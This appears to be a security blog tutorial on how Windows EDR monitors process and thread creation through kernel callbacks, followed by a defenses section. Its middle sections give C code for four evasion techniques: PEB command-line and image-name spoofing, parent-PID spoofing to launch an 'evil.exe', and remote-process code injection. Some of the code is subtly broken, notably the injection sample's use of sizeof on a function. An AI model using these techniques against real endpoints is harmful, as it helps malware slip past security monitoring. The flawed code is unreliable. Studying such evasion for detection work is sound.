How Does Windows EDR Block Programs via Callback Mechanisms? A Detailed Guide to 3 Evasion Methods & Defense Strategies

In the Windows security field, many developers and security researchers encounter a common issue: the programs they write (even test samples) get blocked by EDR (Endpoint Detection and Response) tools as soon as they launch. Behind this, EDR’s “sharp eyes” don’t come out of nowhere—they rely on a special privilege granted by the Windows system: the callback mechanism. Today, we’ll break down EDR’s working logic, common evasion techniques, and finally, discuss the defense upgrades of modern EDR solutions, from fundamentals to practical applications.

1. EDR’s “Eyes on the Ground”: How Callback Routines Monitor Processes

Many people wonder why EDR can accurately detect newly launched programs. The core reason is that Windows provides security software with an “notification interface”—known as callback routines. To put it in simple terms: if the Windows system is a factory, your code is a worker in the factory, EDR is a security inspector assigned to the factory, and callback routines are the inspector’s “fixed posts.”

Whenever a critical event occurs in the factory (such as a new worker joining or a new production line starting), the inspector receives an alert immediately—which is why EDR can “block in advance.”

1.1 How Callback Routines Work: From Registration to Notification

Windows has multiple “critical notification points,” and EDR drivers register callback functions to these points via system APIs. Taking the core “process creation notification” as an example, its simplified implementation logic is as follows:

// Define the callback function format for process creation notifications
typedef VOID (*PCREATE_PROCESS_NOTIFY_ROUTINE)(
    HANDLE ProcessId,       // New process ID
    HANDLE CreatorProcessId,// Parent process ID
    BOOLEAN Create          // Whether it’s a creation operation
);

// EDR driver registers the callback with Windows
PsSetCreateProcessNotifyRoutine(
    EdmProcessNotifyRoutine,  // EDR’s custom callback function
    FALSE                     // Set to FALSE for "registration," TRUE for "deletion"
);

When you execute CreateProcessA or CreateProcessW to create a new process, Windows automatically triggers the callback function registered by EDR and passes three types of key information:

• The ID of the new process and its parent process;
• The full path of the process on the disk;
• The command-line arguments used to launch the process.

More critically, this notification happens before the process actually executes any code—it’s equivalent to the program being “scanned entirely” by EDR before it even “opens its eyes.”

1.2 Beyond Processes: EDR Also Monitors Threads (A More Hidden “Post”)

If “process creation notifications” are EDR’s first line of defense, then “thread creation notifications” are a second, more hidden layer of monitoring. After all, many advanced attacks don’t create new processes; instead, they inject code into existing legitimate processes by creating threads (e.g., running malicious code in explorer.exe). In such cases, thread callbacks come into play.

The registration logic for thread callbacks is similar to that of process callbacks—you only need to register a custom function via PsSetCreateThreadNotifyRoutine. Whenever any process creates a new thread, EDR receives a notification with the ProcessId (the ID of the process the thread belongs to) and ThreadId (the thread’s ID). This means even thread injection without new process creation will be detected by EDR.

2. 3 Classic EDR Evasion Techniques: From “Camouflage” to “Hijacking”

After understanding EDR’s monitoring logic, security researchers often design evasion techniques. The core idea of these techniques is to exploit EDR’s “blind spots”—either modifying the key information EDR relies on or bypassing its monitoring nodes. Below are three common practical methods, along with their core implementation logic.

2.1 Command-Line Tampering: Altering “Identity Info” in the PEB

The key source of process command-line information for EDR is the Windows Process Environment Block (PEB). The PEB stores critical process parameters, and the CommandLine field in the RTL_USER_PROCESS_PARAMETERS structure is the “original command line” read by EDR.

The evasion idea is straightforward: after the process starts, modify the CommandLine content in the PEB so that EDR reads false information when it later scans. Here’s the core code:

#include <windows.h>
#include <stdio.h>

// Define PEB-related structures (simplified version)
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    // Omitted other fields...
    UNICODE_STRING CommandLine;  // The command-line field to modify
} RTL_USER_PROCESS_PARAMETERS;

int main() {
    // On 64-bit systems, get the PEB address via GS register offset 0x60
    PPEB peb = (PPEB)__readgsqword(0x60);
    RTL_USER_PROCESS_PARAMETERS* params = (RTL_USER_PROCESS_PARAMETERS*)peb->ProcessParameters;
    
    // Disguise the malicious command line as a system process command line
    wcscpy_s(params->CommandLine.Buffer, 
             params->CommandLine.MaximumLength, 
             L"C:\\Windows\\System32\\svchost.exe -k netsvcs");
    return 0;
}

Note: This method has a clear limitation—modern EDR records the command line as soon as the callback is triggered (early in process creation). Modifying the PEB later is “too late” and only works for some older EDR versions.

2.2 Parent Process ID (PPID) Spoofing: Making Malicious Processes “Have the Right Parent”

When judging whether a process is suspicious, EDR pays close attention to “parent process identity.” For example, if notepad.exe suddenly creates an unknown process, EDR will flag it as high-risk; however, if the unknown process’s parent is explorer.exe (the system desktop process) or svchost.exe (a system service process), it will appear “legitimate.”

The core of PPID spoofing is: when creating a malicious process, use Windows’extended startup attributes to disguise its “parent process” as a legitimate system process. Here’s the core code:

#include <windows.h>
#include <tlhelp32.h>

// Helper function: Get process handle by process name
HANDLE GetProcessHandle(const char* targetName) {HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32A pe = {sizeof(pe)};
    while (Process32NextA(hSnapshot, &pe)) {if (strcmp(pe.szExeFile, targetName) == 0) {CloseHandle(hSnapshot);
            return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
        }
    }
    CloseHandle(hSnapshot);
    return NULL;
}

int main() {STARTUPINFOEXA siex = {0};
    SIZE_T attrSize = 0;
    PROCESS_INFORMATION pi = {0};

    // Initialize the process attribute list
    InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
    siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(attrSize);
    InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &attrSize);

    // Get the handle of explorer.exe (to disguise as the parent process)
    HANDLE hParent = GetProcessHandle("explorer.exe");
    // Set the "parent process" attribute
    UpdateProcThreadAttribute(
        siex.lpAttributeList,
        0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,  // Key attribute: Parent process
        &hParent,
        sizeof(HANDLE),
        NULL,
        NULL
    );

    siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    // Create the malicious process with extended attributes (disguised parent)
    CreateProcessA(
        "C:\\test\\evil.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        EXTENDED_STARTUPINFO_PRESENT,  // Enable extended startup information
        NULL,
        NULL,
        &siex.StartupInfo,
        &pi
    );

    // Release resources
    CloseHandle(hParent);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    free(siex.lpAttributeList);
    return 0;
}

The advantage of this method is “high disguise”—EDR sees the parent process as a legitimate system process, which is less likely to trigger early alerts. However, if the process later behaves abnormally (e.g., connecting to a malicious IP), it will still be detected by EDR’s behavioral analysis.

2.3 Process Image Modification: “Renaming” the Malicious Process

Another key basis for EDR to identify processes is the process image—the path and name of the process’s corresponding binary file on the disk. If you can modify the image information recorded in memory, you can make EDR “misidentify the process.”

Process image information is stored in the PEB_LDR_DATA structure of the PEB, where the BaseDllName (file name) and FullDllName (full path) in the LDR_MODULE structure are the core fields. Modifying these two fields achieves the “renaming” effect:

#include <windows.h>

// Define PEB_LDR_DATA and LDR_MODULE structures (simplified version)
typedef struct _PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    HANDLE SsHandle;
    LIST_ENTRY InLoadOrderModuleList;  // Module list
    // Omitted other fields...
} PEB_LDR_DATA;

typedef struct _LDR_MODULE {
    LIST_ENTRY InLoadOrderModuleList;
    PVOID BaseAddress;  // Module base address
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;  // Full path
    UNICODE_STRING BaseDllName;  // File name
    // Omitted other fields...
} LDR_MODULE;

int main() {
    // Get the current process’s PEB
    PPEB peb = (PPEB)__readgsqword(0x60);
    PEB_LDR_DATA* ldr = (PEB_LDR_DATA*)peb->Ldr;
    // Get the process’s main module (the first module)
    LDR_MODULE* mainModule = (LDR_MODULE*)ldr->InLoadOrderModuleList.Flink;

    // Disguise the malicious process name as svchost.exe
    wcscpy_s(mainModule->BaseDllName.Buffer, 
             mainModule->BaseDllName.MaximumLength, 
             L"svchost.exe");
    // Disguise the path as a system path
    wcscpy_s(mainModule->FullDllName.Buffer,
             mainModule->FullDllName.MaximumLength,
             L"C:\\Windows\\System32\\svchost.exe");
    
    return 0;
}

Key Logic: When EDR scans processes, it prioritizes reading image information from the PEB. If you modify these fields early in the process startup, EDR will see a “false identity.” However, modern EDR uses “code integrity checks” (comparing in-memory code with disk files), so renaming alone is easily detected.

3. The Ultimate Technique: Process Injection (Bypassing Process Creation Monitoring)

The three methods above share a common flaw: they all require creating a new process, which inevitably triggers EDR’s “process creation callback”—only reducing the alert probability through camouflage. Is there a way to completely bypass process creation monitoring? The answer is process injection: instead of creating a new process, inject malicious code into an existing legitimate process for execution.

Among injection techniques, “Fork & Run” is the most classic, with core steps divided into 5 phases:

3.1 Implementation Logic of Fork & Run Injection

#include <windows.h>

// Assume this is the malicious code to inject (example: pop up a message box)
void maliciousCode() {MessageBoxA(NULL, "Injected Success!", "Notice", MB_OK);
}

int main() {STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    // Step 1: Create a "decoy process" (svchost.exe) and set it to suspended state
    CreateProcessA(
        "C:\\Windows\\System32\\svchost.exe",  // Legitimate system process
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,  // Key: Process pauses after creation, no code execution
        NULL,
        NULL,
        &si,
        &pi
    );

    // Step 2: Allocate executable memory in the decoy process
    PVOID remoteMem = VirtualAllocEx(
        pi.hProcess,
        NULL,
        sizeof(maliciousCode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE  // Memory permissions: Executable, readable, writable
    );

    // Step 3: Write malicious code into the decoy process’s memory
    WriteProcessMemory(
        pi.hProcess,
        remoteMem,
        maliciousCode,
        sizeof(maliciousCode),
        NULL
    );

    // Step 4: Create a remote thread in the decoy process to execute malicious code
    CreateRemoteThread(
        pi.hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)remoteMem,
        NULL,
        0,
        NULL
    );

    // Step 5: Resume the decoy process to continue execution (malicious code is now injected)
    ResumeThread(pi.hThread);

    // Release resources
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 0;
}

3.2 Why Is Injection Hard to Block?

From EDR’s perspective, the entire process is almost “normal”:

1. Process creation phase: EDR sees svchost.exe launching (a legitimate system process, no alert);
2. Thread creation phase: EDR sees a new thread in svchost.exe (common for system processes, low risk);
3. Code execution phase: EDR cannot directly distinguish between “legitimate code” and “injected malicious code” executed by the thread.

It’s like “disguising as a courier to enter a community, then launching an action from inside the community”—the initial identity verification passes, and subsequent behavior requires more detailed monitoring to identify.

4. Defense Upgrades for Modern EDR: No Longer Relying on “Surface Information”

Facing the ever-evolving evasion techniques, modern EDR has long moved beyond the basic stage of “relying on names or parent processes.” Instead, it builds a defense system through multi-layered, multi-dimensional monitoring, mainly including three core measures:

4.1 Code Integrity Checks

EDR compares the hash values and signature information of in-memory code with disk files. For example, if the hash of malicious code injected into svchost.exe does not match the hash of svchost.exe on the disk, EDR will directly flag it as “suspicious.” Some EDR solutions also enable “Enforced Code Integrity,” allowing only signed code to execute in memory.

4.2 Behavioral Analysis

No matter how well disguised, malicious code will eventually expose “malicious behavior.” EDR monitors dynamic process behaviors, such as:

• Abnormal file operations: Writing non-system files to the C:\\Windows\\System32 directory;
• Suspicious network connections: Connecting to known malicious IPs or initiating reverse shells;
• Sensitive registry modifications: Altering HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run (startup items);
• Privilege escalation attempts: Calling AdjustTokenPrivileges to gain admin rights.

Even a process disguised as svchost.exe will trigger high-risk alerts if it frequently performs the above actions.

4.3 Full-Level Monitoring: From User Mode to Kernel Mode

Traditional EDR mainly monitors user-mode API calls, while modern EDR penetrates into kernel mode to directly monitor system calls (Syscalls). It also integrates network layer (monitoring abnormal traffic), file system layer (monitoring suspicious file reads/writes), and registry layer (monitoring sensitive key modifications) to form a “3D defense network.” Even if you bypass process monitoring at the user mode, you will still be detected at the kernel or network layer.

5. Conclusion: The Endless “Cat-and-Mouse” Game

The confrontation between EDR and evasion techniques is essentially a game of “information asymmetry”:

• EDR’s advantage lies in its “deep access privileges”: It obtains early information about process launches and thread creation via callback routines and kernel-mode monitoring;
• The core of evasion techniques is “exploiting blind spots”: Modifying surface information (command lines, PPID, image names) relied on by EDR, or bypassing monitoring nodes (process injection);
• The breakthrough for modern EDR is “multi-dimensional verification”: No longer relying on single-source information, but eliminating “blind spots” through code integrity checks, behavioral analysis, and full-level monitoring.

For security researchers, understanding this logic has three core values:

1. When designing protection solutions, avoid “single-point defense” and prioritize building multi-layered monitoring;
2. When conducting threat detection, identify anomalies behind “disguised behaviors” (e.g., abnormal PPIDs, mismatched code hashes);
3. During red team exercises, more accurately assess the defense boundaries of EDR solutions and avoid ineffective evasion attempts.

Ultimately, it’s important to recognize: There is no “one-size-fits-all evasion technique,” nor is there “never-failing EDR.” The end goal of this endless “cat-and-mouse” game is always a more robust defense system and a deeper understanding of underlying principles.